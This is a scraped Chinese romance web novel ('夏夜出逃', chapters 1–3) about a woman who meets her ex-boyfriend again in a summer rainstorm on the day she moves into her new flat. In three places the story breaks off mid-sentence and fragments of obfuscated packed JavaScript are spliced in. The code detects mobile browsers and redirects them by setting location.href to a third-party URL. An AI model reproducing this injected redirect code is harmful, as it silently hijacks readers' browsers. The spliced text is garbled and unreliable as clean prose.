《夏夜出逃[破镜重圆]》 1. 夏夜出逃 《夏夜出逃》 文/陆听橘 2024年12月1日独家首发于晋江文学城 创作不易,请支持正版 - 收到好友钟意发来的信息时,黎悦夕正在会议室里开二季度的项目总结会。 她左右晃了晃僵硬的脖颈,目光扫向玻璃窗外。 夏日傍晚,橘金色的淡光倾落。突如其来的一阵狂风卷过,太阳被几团浓云围住。 天气预报上说的一场大雨,眼看即将到来。 无声吁了口气后,她收回视线,扫一眼正前方大屏下仍在滔滔不绝的副总,动作轻缓挪动鼠标点开电脑右下角闪烁的微信图标查看信息。 钟意:[食物和酒我都准备得差不多啦,你一会儿直接回家就好,等你哦~] 黎悦夕轻敲键盘,回过去一句:[知道啦。我这边开会估计还得耽搁一会儿,你要是饿了就先吃点东西。] 钟意:[ok] 钟意:[快下雨了,回来路上注意安全,啵啵~] 看完这两行字,黎悦夕薄唇微弯,一抹极浅的笑意漫进眼眶。 回过去一个点头的卡通表情包,随即关闭微信页面。 黎悦夕生长在小城云槐,自小成绩就好,高二那年受资助来到靖水市盛岸高中借读。 她和钟意的友谊,也是从那一年开始的。 迄今为止,两人做了将近十二年的好朋友。 双方开心的、难过的,荣耀的、难堪的…… 几乎所有经历过的事情,彼此都可谓毫无保留。 前年,黎悦夕攒够首付,在靖水给自己买下了一间六十五平的小公寓。手续办完的一刻,钟意同样是她第一个分享这件事的人。 今天是她搬进新家的日子,钟意自然也是她第一个邀请到家里一起庆祝的人。 电脑页面切换回文档,黎悦夕拿过手边的矿泉水抿下两口,重新融入枯燥的会议中。 又是半小时过去,领导讲话的环节告一段落,轮到各部门总监进行总结和展望。 宣传部作为收尾,黎悦夕和助理桑宁是最后上去进行演说的。 桑宁连接好投影设备,确认准备的数据文件无误,抬眼朝长桌正前方的黎悦夕扬了下眉。 黎悦夕轻点了下头以示回应,一切准备就绪,半侧过身,驾轻就熟开始自己的总结演说:“宣传部今年一二季度的整体业绩,相较于前三年同期业绩数据,呈稳步上升的驱使。具体数据对比,请大家看我身后这张表格……” 她身上是最简约的黑白配色,白色丝质V领衬衫,搭一条黑色长裙。配饰没多少亮点,某品牌前两年经典款同系列的耳钉和项链。 越是穿得这样素净,反倒越是显出她五官出众。 身形本就优越,这会儿脚上踩一双五厘米的细高跟,远远看去,整个人愈加高挑。 她说话声偏沉,在会议这种场合,听来难免严肃。 十几分钟的演说,内容简明扼要。 尾音落下,伴着会议室内众人的掌声,她道了声谢,径直折回自己的位置。 枯燥又磨人的总结会终于结束,会议室里的人伸懒腰的伸懒腰,打哈欠的打哈欠,陆续起身往外走。 桑宁捧着一沓收拾齐整的文件挪过来,眉眼间同样疲惫尽显。她懒洋洋往桌上一靠,说道:“悦夕姐,开这么久的会都累坏了,大家约着一块去附近吃顿饭,我发你地址?” 黎悦夕揽了下耳边垂下的发丝,“我就不去了,还有别的事。” “悦夕姐……”桑宁往前凑了小半步,想继续说服。 “都跟了你们黎总监大半年了,还没记住,她从来不参加这些聚会,恨不得一分一秒全都用来加班赚钱。”市场部的小姑娘笑着朝两人扬了下下巴。 桑宁努了下嘴。她哪是不知道,她就是过度热情,总想着以各种方式和自己的师父套近乎。 但这个人是黎悦夕,公司里出了名不爱热闹的工作狂。平时除了实在推脱不了的客户应酬,别的聚餐一应冷漠拒绝,丝毫不会留情面,好像天大的事也不能打乱她做好的计划。 黎悦夕看向她,脸上仍是一派风轻云淡的景象,“你们玩得开心,我先走了。” 话音落,裙摆摇曳的背影淡出视线。 众人见怪不怪,各自收拾东西前后脚离开。 这个点早已经不是下班高峰,电梯不挤,黎悦夕没花几分钟便顺利出了写字楼。 天色渐沉,墨色在天际越晕越浓,最后一丝灰白色的光线也全部被吞噬。 一阵阵的风毫无章法在刮,黎悦夕从手腕上摘下黑色皮筋,将一头微卷的长发随意绕了个低丸子,拽紧右肩上的包带,顺着路沿往前跑。 街灯点亮城市的夜,她一步步扎进来往的人群中。 出租车沿路穿行近半小时,她推门下来,拐进一家甜品店取了前天就订好的蛋糕。 出来的时候,视线被斜对面的一家小店吸引。 她停住脚步静静看过去。 那是家花店,门头是清浅的薄荷绿,一侧由锦簇的鲜花装点,里头光线温暖,从落地窗透出,通透无比、生机盎然。 店名叫“春屿”,她觉得好听,不自觉低声念了遍。 黎悦夕一向不是个有闲情逸致养花种草的人,但今天毕竟日子特殊,她有属于自己的小家了,买束鲜花送给自己,似乎也是个不错的选择。 - 几分钟时间,密集的雨点裹在风里往下拍。 道路两侧的人慌乱在避雨,方才有序的车流,速度一点点减缓,排成长队塞在路上。 一辆黑色的劳斯莱斯在路灯下缓慢前行,雨水啪嗒啪嗒坠在车身上,砸出圈圈水晕。 后排的男人穿一身黑色高定西服,眸色慵懒地朝窗外一瞥,蹙着眉有些不耐烦。 西装外套一脱随手朝旁边的空位扔去,又将打理齐整的领带也扯开了一半。 雨越下越大,车子行驶得比乌龟还慢。 他晃了晃右边肩膀,眉头拧得更深了。 司机刘宇明掀着眼帘望了眼后视镜,说道:“杉青,早上听电台里说,这次的雨会持续好几天呢,你肩膀要是实在不舒服,还是去医院复查一下吧。” 叶杉青动作一僵。 潮湿的天气一来,其实不仅是肩膀,还有手肘也疼得很,但他没有和别人说这些的习惯。 这会儿也是,故作轻松笑着应了句:“刘叔,我在您眼里怎么跟个七老八十的人似的。我没事,就是这两天工作上的事多,有点累而已。” 刘宇明不好再多说,点了下头安静把着方向盘。 车子终于往前移了几米,叶杉青扣紧十指,同样陷入沉默。 雨刮器不知疲倦在摆动,他两眼空洞凝眸盯着看。 这样的天气,街边从人到树都被风雨搅得混乱。 如此一来,一家如少女般安静矗立在街角的花店,就格外引人瞩目。 落地窗里灯光亮澄澄的,扎着马尾辫穿深灰色工服的店员,正跟在一个年轻女顾客身边帮忙挑选。 那女孩侧身对着玻璃窗,丸子头绑得松,右脸颊旁散着几缕卷曲的发丝,与流畅白皙的脸庞相称。 隔着一段距离,也看得出女孩盯着面前琳琅满目的鲜花挑得认真。 这个侧脸和她好像。 叶杉青顿觉心跳停了一拍,眉心跟着颤动,不由坐直身子,看得愈发认真。 女孩在整齐摆放的各色鲜花前缓行,时不时抬手捋一下脸侧的发丝,俯身去嗅面前的玫瑰,时不时微微勾着唇角,柔和地冲店员点头。 他忽然想起高三那年,有一次为了哄她开心,有模有样用彩纸折了一束玫瑰送给她。 分明也不是多金贵的东西,她收到的时候却笑得特别开心。 那天是个阴天,天空灰蒙蒙的一片。 她的笑意晕进眉眼,明朗无比,衬得那样的天气也不再压抑了。 过去这么久,其实回忆里的笑容已经有些模糊不清了。 可每每不经意间想起来,他还是觉得心口有暖流涌动。 好一阵,叶杉青就这么静静望着花店那侧。 回过神后,不由自嘲地嗤笑一声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640918|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们俩分开已经十年了。 十年时间足够完完全全改变一个人、遗忘一些事,他却还是轻易就因为一张和她仅有几分相似的侧脸就被扰乱心绪。 何况,他连她的一张照片也没有,仅凭记忆就说什么像不像的更是可笑。 印象里的她不怎么爱笑,身上总穿着校服,披肩发也总绑成马尾。 眼前的人一看就是长发,穿着端庄得体的通勤装。 他又往外看一眼,还是忍不住想,这十年来的她,在工作场合大约也会是这样精致干练的模样吧。 也是,这样看得见摸得着的美好未来,和当时十八九岁过于幼稚的他。 正常人都会选择前者,抛弃后者。 叶杉青忽地眼圈有些酸,一口怒气堵在心口,咬着牙正要收回视线。 花店里的女孩选好了一束玫瑰揽在怀里,直起身朝收银台走。 一道闪电刺破暗夜,捎着闷雷接连袭来。 女孩应声抬头朝玻璃窗外看。 叶杉青也是这时清清楚楚望见了女孩的脸。 那张脸上的妆容不浓,和衣着相称的简单大方,却也让她整个人气质出众。 是她。 他彻底怔在原处。 方才还猛烈的心跳一刹停滞,雨水中模糊的人影,让他实在恍惚。 她的模样比从前成熟不少,脸颊好像还和印象中一样瘦削,那双眼睛还是充盈着疏离。 些许陌生,他却还是一眼就认出来了。 脑海里过去的画面逐帧闪过,年少时女孩青涩的脸庞一点点和不远处那人重叠。 车子即将拐过街道,他慌乱抬手往右侧被雨水笼罩的车窗上擦,生怕下一秒连模糊不清的轮廓也要消失不见。 可雨水拍打在玻璃窗外侧,任凭他再怎么用力去擦也无济于事,只有凉意顺着掌心扩散。 什么爱与恨的,这一刻都被抛之脑后。 他只有一个想法,不能就这么让她从眼前溜走。 最后朝驾驶座椅背上一拍,喊了声:“停车!” - 花店内。 结完账的黎悦夕将那束折射玫瑰环在臂弯,伸手要去推玻璃门。 店员伸长脖子往外扫了眼,张口喊她:“女士,您要是没带伞的话,我从店里给您拿一把吧?” 黎悦夕脚步顿下,回过头微笑着回绝:“不用麻烦了,夏天的雨来得快去得也快,我在门口打好车跑过去就行。” 她道了声谢,立在玻璃门侧低头捧着手机打车。 雨滴仍在接二连三往地面砸,溅起的水珠片刻染得她裸露的脚踝被凉意铺满。 雨天交通不畅,好在这一段不算什么中心路段,没几分钟,车子即将到达。 她深吸一口气,准备好一气呵成迎着风雨跑过去。双脚提起来往前没两步,雨帘迎面被风推过来,衬衫和裙摆一下子便被水痕晕湿。 发丝更是没能幸免,湿淋淋黏在脸颊上。 已经成了这副狼狈模样,退回屋檐下也没用,她只好硬着头皮继续往前跑。 没两步,一个宽厚的身影挡住她的去路。 等她反应过来要停下的时候,额头已经撞了上去。 她下意识“啊”了声,边抬眼,边连声说:“抱歉、抱歉,您没事吧?” 尾音未落,她和面前的男人四目相对。 一双幽深的眸子定定盯着她,眸光黯淡却寒意四起,比此时胡乱拍打在身上的雨水还凉百倍。 这些年来在梦里出现过不知多少次的脸,这会儿近在咫尺。 可越是这样,她越是觉得虚浮。 灯影似乎也在后退,周围陷入死寂,只剩她胸腔里愈渐混乱的心跳。 黎悦夕微张着双唇愣怔着,就这么静静望向他。 拔腿就走不合适,打招呼更不合适。 空气也好似凝滞,两人僵持在原地,半晌也没发出一丝声音。 叶杉青紧握着黑色雨伞,又往她头顶偏了偏。 夹在风里,微不可查的一声叹息后,终于开了口:“雨大,拿着。” 2. 夏夜出逃 和分手多年的前男友重逢,这并不是件多么罕见的事。 过去的十年间,黎悦夕自己也曾幻想过无数种和叶杉青再次遇见的画面。 平静的、愤恨的。 或者是擦肩而过、视而不见的。 可预想终归只是预想,眼睁睁看着人就在面前,再多酝酿好的话也没了,大脑只有空白一片。 她仰头望着他,昏黄的路灯穿过雨帘倾泻过来,光线被他宽挺的双肩承住,恰好将他包裹其中。 他的样子变了许多。 从前总爱折腾发型和穿着,招摇着惹学校老师生气。现在一头黑发修成利落的短寸,显得整张脸的棱角都更为分明。 他好像还长高了,身形健硕不少。 加上衬衫、西裤和皮鞋,当初满身的少年气,被从头到脚的稳重掩盖。 他也在直勾勾盯着她,眼尾稍稍泛着红,一双眼睛全是倨傲和冷漠。 视线在他眸间停顿不过两秒,黎悦夕止不住有些发抖,不知道是沾了雨水太冷,还是心底的什么情绪翻涌而起所致。 怀里那束折射玫瑰染上雨滴,花瓣和叶片随风颤动,雨点滴滴答答往她手背上落。凉意四起,心底的慌乱更甚。 她双唇一张一合好几次,喉咙却像是被什么东西哽住一般,根本发不出半点声音。 片刻,面前的人又将手上那把黑色雨伞往前递了递。 一把伞这会儿全挡在她头顶上,雨水顺着他眉梢滑落,又落在他密实的睫毛上。 他眨了眨眼,凝结的雨滴从睫羽滚到脸颊,这模样像极了当年分手时他流泪挽留的模样。 黎悦夕望得心口抽痛,眼神闪躲开,深深吸了两口气,终于结巴着说了句:“不……不用了。” 她伸手,想把雨伞往回推。 手掌刚举到半空,他提脚往前,连鼻间气息也在一刹向她逼近。 双眸仍还分毫不差落在她身上,语调又沉了几分:“一把伞而已,不敢接?这可不像你。” 后半句,他扯着唇冷冷笑了声,满是讽刺。 面对他这样的态度,她自知理亏、无可辩驳。 毕竟当年在他一腔热血憧憬和计划着他们未来的时候,她却毫无征兆提了分手。没给出任何合理的解释,更没有任何抱歉和安慰。 如今他怎么样恨她,也理所应当。 黎悦夕鼻头有些发酸,出力握了握拳,终于抬眸重新看他。 对不起,当年的事都是我的错。 她想这么说。 一番话哽在喉间,被他这会儿通红的双眼堵得难以发声。更何况,太晚了,现在才轻飘飘说抱歉,对于他受过的伤害,根本于事无补。 耗在这里也是无果,他一向就是个执拗的人,递出来的伞不可能收回去。 继续这样,也不过是让他淋更多雨。 她深吸了口气,抑制住发颤的手,还是接下了那把伞。 唇边挤出一抹平和的笑,哑声道了句:“谢谢,这位……这位先生。” 这位先生? 她是怎么做到这样一脸淡漠,一副根本不认识他的样子。 叶杉青蹙着眉,觉得自己方才不顾一切举着伞冲过来的样子简直可笑极了。 他刚想说话,黎悦夕抢先开了口:“我打的车到了,你也快走吧。” 没给他任何回应的机会,或者应该说,她没给她自己一丝留恋和回头的机会,闷头就往斜前侧那辆灰色的SUV面前跑。 雨水顺着路面流淌,她跑得急,右脚一崴,整个人跌坐在水坑里。脚踝痛得厉害,但她隐约听见身后的人好像在挪步靠近,只好强忍着痛意立刻起身开门上车。 车门咔哒一声上了锁,叶杉青的右手探出,车子已经开始行驶。 他抓了个空,右手悬停,望着刺眼的车尾灯越来越远。 方才整条街堵得不行,现在倒是通畅。 几秒钟时间,那辆车在视线中越来越远。 “黎悦夕,你给我站住!”他吼一声,心口也扯得生疼。 下意识想往前追,迈出两步,想到她方才漠然的模样,最后又僵在原地。 - 车内。 黎悦夕呆坐着,脊背僵直。脑海中控制不住在重映刚才的画面,脚踝的痛没顾及上,连眼眶里不停渗出的眼泪也没发觉。 好一阵,又是一声闷雷钻进耳朵,她才惊得颤了颤身子,拉回浮远的思绪。 脸颊上的泪痕叠了一层又一层,混着没干的雨水,凉丝丝在皮肤上蔓延。 她反手抹了两下,视线滑过怀里那束花。 又是被大雨淋,又是摔了一跤,原本含苞待放的鲜花,现在东倒西歪,和她一样狼狈。 她忍不住鼓着双腮,长长叹出一口气。 二十分钟,车子停在千熙园小区门侧。 黎悦夕向司机道过谢,提着东西推开车门。 一只脚刚踏到水泥地上,钟意小跑着迎过来,伸手接下她右手上的蛋糕,顺势挽住她胳膊。 黎悦夕面露诧异,“怎么下来了?” 钟意勾着她胳膊往前走,偏头朝她另一只手上打量,“怕你粗心又没带伞,就想下来给你送伞咯。” “今天居然带伞了,好意外,”她视线落到黎悦上手上那把收拢的黑色长柄伞上,片刻又移回她湿漉漉的头发和衣裙,“有伞怎么还浑身湿了个透?” 应声,黎悦夕也跟着偏头去看那把伞。 遇见叶杉青的不真实感,还是被握在手里的伞柄具象化。 她手心又紧了紧,随口应:“一开始没下雨,就想先去取蛋糕,后来才买的伞。” 钟意把她肩上的挎包也接过来往自己身上背,“小心着凉,上去先洗个热水澡。” “知道啦。”黎悦夕冲她笑,努力掩饰眼底未散的情绪。 两人进了小区朝单元楼口走。 刚才是平地,她还能勉强走得平稳,踏上台阶,右脚踝还是疼得使不上力。 她没忍住倒吸一口凉气,拧着眉“嘶”一声。 钟意扭头看过来,借着灯光看清她脚踝红肿,脚步忽地停住,着急起来,“摔了?” “去医院!”她二话不说就要拉着黎悦夕转身。 黎悦夕没挪动,“不严重,就是路滑崴了一下,上去喷点药,再贴个膏药就好了。” “可是……”钟意张口。 黎悦夕拉着她往前走,“真的没事,现在最重要的是上楼吃饭,我开了一天会,都快饿死了。” 钟意知道拗不过她,最后叮嘱了句:“要是过两天还不好,千万告诉我。” 她应了声:“知道啦。” 新房在五楼,一梯两户。 电梯门打开,钟意率先迈步往右走,神秘兮兮说:“悦夕,你闭上眼。” 黎悦夕笑了声,跟上她的步伐随后双眼一闭。 密码锁“滴滴滴”响了几声,门锁应声弹开。 钟意绕到身后扶住她的肩头,“我数三个数你就睁眼吧。” “三、” “二、” “一!” “欢迎悦夕回到她的超级温馨小屋!” 伴着话音,黎悦夕缓缓睁开双眼。 屋子装修得不复杂,最基础的原木风,风格统一的家具,也没多少花哨的装饰摆件。 眼下被钟意仔仔细细布置了一番。 门边挂着一对正红色的挂饰,上面是黑色文字:福临门、万事顺。 进门往里走,电视屏幕上投影一张红色的乔迁海报。茶几上摆着红色的小福袋,定制的小蛋糕,上面写着的也都是祝福语。 餐桌上的饭菜没多复杂,但都是黎悦夕平时喜欢吃的。 旁边的果篮里装着橙子、柿子、紫葡萄和苹果,还有一排摆开的乔迁红包。 屋子一下子被这些红色的小物件衬得红火起来,再被墙边挂的暖橘色氛围灯一衬,更加让人觉得温馨。 从小到大,黎悦夕鲜少得到所谓的家庭温暖。 这大概是感受最最强烈的一次。 她眼眶一下酸胀起来,忍不住吸了吸鼻子。 钟意了解她,没给她流泪煽情的机会,横挪一步站到她身侧,笑嘻嘻介绍道:“桌上那些可都是我精心准备的,橙子是心想事成,柿子是事事如意,紫葡萄是紫气东来,苹果是平平安安。” 她拍了下手掌,笑得更灿烂了,“所有美好的祝福,今天都送给黎悦夕女士一个人。” 她接着把餐桌上的红包整齐拿起来,往黎悦夕怀里塞,“从今天开始,我们悦夕的每一天都会越来越好的!” 黎悦夕被逗笑,“哪儿学来的这些?一套一套的。还有啊,说好的不许给我包红包,你是客人,饭菜都让你准备,你……” 钟意懒得啰嗦,推着她朝右拐,“行啦,你快去洗个热水澡,换身衣服,一会儿感冒了。” 眨眼的功夫,黎悦夕被推进卧室。 她也没再多纠结,手上东西往桌上一放,俯身去拉抽屉,“还有一件事没做。” 说完,她捧着一张和钟意的合照转过身,“这个我一早就准备好了,要放在最显眼的位置。” 两人齐刷刷朝照片看一眼,又默契地对视,都朗声笑起来。 和钟意一起放好照片,黎悦夕才合上房间门进了浴室。 热水顺着皮肤一寸寸滑过,水雾氤氲,方才的寒凉消失殆尽。 她的心情却还是沉在谷底。 大学毕业之后选择回到靖水这座城市工作,别人都以为她只是不愿意改变习惯的环境。 其实她有私心,一直怀着一丝侥幸在想,留在这里,如果有一天他回国了,他们或许还能见面。 如今真的见到了,毫无意外的不欢而散。 她叹了口气,脑袋伸到花洒下承住热水,强迫自己短暂从这些情绪中抽离。 - 出发得本来就晚,路上又堵了那会儿车,叶杉青回到悦景湾那幢别墅的时候,已经是九点多钟。 叶家的房产不少,平时叶俊成和孙芳礼夫妇俩常住的是市区那幢,方便出行。 悦景湾位置偏了些,但胜在安静、景致好,逢年过节一家人聚会的时候才会过来。 今天说是给孙芳礼庆祝四十岁生日,竟也搞得举家都得往这边赶。 叶杉青心里不忿,他和这位继母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640919|156423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从来是能不打交道就不打交道,更何况早年间还闹过不愉快。 今天的场合,他原本避之不及。 叶俊成却不知葫芦里卖的什么药,软硬兼施,还以给他香水工作室投资为诱饵,也一定要他今天回来。 他那间跟朋友合伙的香水工作室名叫“见山”,成立了两年,状态一直不上不下,眼下白捡的资金摆在眼前,不要白不要。 抱着这样的心思,他还是回来了。 才顺着院子朝正门靠近,大厅里一家子人的交谈声已经传出来。 叶杉青停在门边,鼓着双腮舒了口气,套好臂弯里的西装外套,又捋了捋黏湿的头发,整理好领带,这才拉开门往里走。 餐厅里,孙芳礼的妹妹正举着酒杯对她说贺词,闹哄哄的,没人听见靠近的脚步声。 一直到叶杉青拐进餐厅说了声:“爸,我回来了。” 众人这才纷纷转头。 一场大雨的洗礼,他这会儿的样子实在不精神,众人都不约而同一愣。 他随口解释了句:“下雨了,没带伞。” 说完,挪近将手上的礼盒朝孙芳礼递过去,又给自己倒了杯酒,捧着杯子挤出一个酒桌上常用的商务型笑容说道:“阿姨,生日快乐,身体健康。” 他做足了面子工程,孙芳礼心里就算再不待见他,当着大家的面也还是笑着起身应和:“谢谢杉青,阿姨很开心。” 她打量叶杉青两眼,补充:“淋了雨会感冒的,先上楼换身衣服吧。” 叶杉青点了下头,喝完手上那杯酒,又给自己倒了一杯,“爸,我也敬您。” 叶俊成“嗯”了声,端起杯子和他轻碰一下。 叶杉青喝完这杯,笑意垮下来,懒得再装,“各位叔叔婶婶,你们慢慢吃,我先上楼换衣服。” 众人七嘴八舌回应着,他转身去了二楼。 他没怎么在这边住过,衣帽间里只有几套一直搁置的西装,偏偏他最不喜欢这种束手束脚的装扮,今天才是穿这么一小会儿已经浑身不舒服。 翻找一阵,终于在角落找到一件有些旧的T恤,和一条运动裤。 他揽着那套衣服,想进浴室简单冲个澡再换。 叶俊成这时候进了他房间,板着一张脸问:“难得一家人一起吃顿饭,把自己搞成这种样子。你都多大的人了?” 他不想多说,用了刚才的说辞:“下雨,我也没辙。” 叶俊成拧着眉,“都专门让老刘去接你了还搞成这样,你是不是故意的?就想给你阿姨难堪。” 从小到大,他被这样误会的次数数不胜数,他早就懒得解释了。 他叹了口气,抬眼看向叶俊成,“随您怎么想吧。” 他越是这种态度,叶俊成越是怒火中烧,逼近一步继续喋喋不休:“叶杉青,你这是什么态度,这个家的规矩你是不是忘得一干二净了……” 翻来覆去都是那些教训人的话。 叶杉青左耳进右耳出,一直没出声,只自顾自脱了身上湿哒哒的衬衫,换上干净的T恤。 这才站直,“接受您的教训,不过今天是大好的日子,您就别为我生气了,还是去给阿姨庆祝生日吧。” 他难得没唱反调,顺从的态度反倒让叶俊成被噎住。 叶俊成咳了声,语气也软下来:“盛华那个刘总的小女儿刘诗雅你还有印象吗?你俩小时候一起玩的。” 忽然提起这个,叶杉青愣了愣,大概能猜到接下来的话。 他直接反问:“您说吧,什么时候见面,在哪?” 叶俊成回:“我让秘书发给你。” “行。”叶杉青点头。 叶俊成又叮嘱:“好好聊,别给我像以前一样糊弄,咱们家可能会和她们家有合作。” 叶杉青没回这句,径直挪步往外,到门边又补充了句:“您别忘了批给我们工作室的资金。” - 叶杉青三步并两步跑下楼,司机刘宇明望见他,起身问:“怎么这么快出来了?” 他应:“道过贺了,礼物也送了,任务完成。” 刘宇明点点头,“那我送你回去,你喝过酒也开不了车。” 叶杉青:“行,谢谢刘叔。” 他钻进后排坐下。 车子随即启动往外行驶,他抿抿唇,再次开口:“您送我到刚刚拐角那个花店吧。” 刘宇明掀着眼帘瞥后视镜里的人。 他直勾勾望着车窗外,脸上分明也没多少表情,黯淡的眸光融在夜色中,却还是让人觉得沉闷。 “刚刚花店门口的女孩是你以前那个女朋友吧?”刘宇明问。 女朋友。 这称呼好遥远。 叶杉青一怔,故作轻松:“这么多年前的人了,您记性真好。” 刘宇明:“不是我记性好,是你从刚刚到现在的反应已经说明一切了。” 叶杉青抿抿唇没接上话。 “可是现在才折回去,人家怕是走远了。”刘宇明又扫他一眼。 叶杉青心里没底,声音放得轻:“走不走远的,也总要试试吧。” “毕竟我的伞借给她了,找她是应该的。” 3. 夏夜出逃 一来一回消耗不少时间,街道上这会儿只见寥寥几人。 车子刚靠边还没停稳,叶杉青右手早已经搭到门把手上。 匆匆抛下一句:“刘叔,您下班吧,我一会儿自己打个车就行。” 车门“哐”一声合上,他三步并两步朝那家花店跑。 玻璃门推开,感应器里一声清脆的“欢迎光临”传进耳廓。 柜台后低头整理桌面的店员也应声抬头,微笑着说:“先生,您有什么需要吗?” 叶杉青从左往右将小店环视一圈,视线在几个小时前黎悦夕驻足挑选鲜花的落地窗边短暂停留,这才回应:“你好,我想问问,你们店里如果是常过来买花的顾客,是不是会有会员制度?” 店员点了下头,从柜台左侧抽出一个蓝色的文件夹打开往他面前递:“有的,具体收费和优惠信息都在这上面。您是个人预订,还是公司这之类的团队预订?” 叶杉青垂眸在宣传册上随意扫了眼,有些不知道怎么组织语言,“那个……我是想问……” 先不说黎悦夕到底是不是这家店的会员,就算是,提出要看人家店里的会员信息,这种要求过于无理,不用想也知道,肯定会被拒绝。 他迟疑了会儿,还是硬着头皮开口:“我其实是想找个人,我下午看见她到你们店里买花了,能不能让我看看会员信息里有没有她的联系方式?” 店员礼貌的笑容僵了僵,回应得干脆:“抱歉先生,会员信息都是顾客的隐私,我们不能对外提供。” 叶杉青沉了口气,缓缓点点头,只好换了种策略,“行,那你给我也开个卡吧,个人预订。” 店员点头,“好的,您稍等。” 她拿了信息登记表和一支黑色碳素笔递过来,“您先在这里填写个人信息。” 叶杉青把登记表接过来。 那个本子很新,刚翻开第一页写了三分之一。 登记时间倒是有今天的,但从上到下快速过了一遍,并没有黎悦夕的名字。 他表情彻底一垮,潦草写下自己的信息,要将表格递还给店员。 手伸到一半,他想到什么,又收回来低头在登记表的备注栏闷头写字。 他在备注栏清清楚楚写了三个字:黎悦夕。 店员接过开始在电脑上输入信息,顺势问:“先生,您要充值多少呢?现在的基础活动是充一千送一百,充三千送五百,充五千……” 他没耐心听,“一万吧。” 说着,递了张银行卡过去,“我理解你们不能透露其他顾客的信息给我,我在备注栏里写的那个名字,等我走了你再查查看,是不是你们店里的顾客,如果是的话,那她下次来消费的时候,用我这张卡里的钱也可以。卡里钱不够了,你就联系我。” 看店员有些懵,他又补充一句:“我的信息不怕泄露,她要是问起来,你就把我的名字和电话都告诉她。” 店员滞了片刻后点头,“行。您的卡拿好。” 他“嗯”了声,将会员卡随意往兜里塞,转身出门。 街道灯影交错,风声从耳畔掠过。 方才大雨笼罩的压抑消失得无影无踪,空气里只剩雨水洗礼过的泥土气味。 就像刚刚的一切从没发生过一样。 叶杉青双手叉腰仰头望着黑蒙蒙的天空,忍不住叹了口气。 他又想到她刚刚的样子。 他曾经以为,这么久不见,她眼眸里就算不是留恋,也至少该有为了远离他,刻意伪装的冷漠和疏离。 因为哪怕是刻意伪装的冷漠和疏离,也起码说明,她没忘了他。 可她刚才的眼神、表情,实在淡然得不得了。连声调也毫不颤动,甚至可以说是毫无波澜。 她好平静。 平静得像对待一个陌生人。 像从来都不认识他一样。 原来从头到尾慌乱的,只有他自己。 那他的这份慌乱,又算什么? 一文不值罢了。 - 昨晚和钟意一块,啤酒红酒都喝了不少。 这么一来,黎悦夕倒是没了胡思乱想的精力,一觉沉沉睡到了闹钟响起的时候。 钟意赶着去出差,一大早就离开去赶高铁。 黎悦夕从卧室出来的时候,看见留在餐桌上的早餐,给她发了信息:[在外面注意安全。] 钟意:[我知道。] 钟意:[这几天都有雨,别再忘记带伞了。还有你的脚踝,要是还不好就及时去医院。] 黎悦夕低头拍了自己脚踝的照片发送过去,[已经不肿了,放心。] 手机摆到一边,她三分钟解决完早餐,换好衣服要去公司。 黑色雨伞晾在门边,这会儿水渍已经全干了,丝毫不见那场大雨的痕迹。 她把雨伞收拢,带上出了门。 一整天对接客户、开组会,又是熬到天色暗下来才结束。 同事们陆续离开公司,偌大的空间瞬时安静静悄悄的。 她端着水杯,吞下两口早就凉掉的水,视线重新落到那把伞上。 用还雨伞这样的理由去找他,会不会太过刻意了? 她摇摇头。 借了别人的东西拿去还,这本来就是天经地义的。 这理由明明再正当不过。 她抓过桌上的手机去找钟意的对话框,打下一句:[你有空的时候,把我拉进高中同学群吧。] 记得钟意提过,高中同学们基本都在那个群里,时不时还会有聚会。或许叶杉青也会在那个群里。 光标在输入框里跳动。 一下接一下,闪得人心乱如麻。 她盯着屏幕看了一阵,并没按发送,反而把打好的一行字全删了。 不管他昨天是出于什么目的,在大雨中给她那把伞。 那也只是区区一把雨伞而已。 一把伞而已,人家根本不可能放在心上。 黎悦夕摇摇头,手机锁屏扔进包里准备下班,微信提示音却在这时候传出来。 两条新的信息都来自备注名为周承衍的人。 那是她前两年在英国留学时候的同学,后来回国两家公司合作又见了面,一来二去聊得来,两人也就顺理成章成了朋友。 周承衍:[我这边工作进行到收尾阶段了,大概周六下午就能回到靖水。] 周承衍:[周六晚上一起吃个饭吧,虽然迟了好几天,还是得给你庆祝一下搬进新家。] 周六。 6月15号。 黎悦夕抬眼去看桌边的日历。 这个日子她特意用红色的记号笔做了标注。 她眉心微微蹙了下,回复:[抱歉,周六我有事。你也出差这么久才回家,先好好休息吧。] 周承衍没多问,[不用抱歉,改天你有空再见就好。] 黎悦夕简单回过去一个“嗯”,伸手把桌角的日历拿过来。 每一天的日期被方方正正的黑色线格框住,从一号开始的工作安排,她用黑色碳素笔规整记录。 只有15号的那一格是红色的笔迹。 上面写着四个字:十年之约。 和叶杉青分手前的十年之约。 - 叶杉青不是个多脆皮的人,以往被大雨淋的情况也出现过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 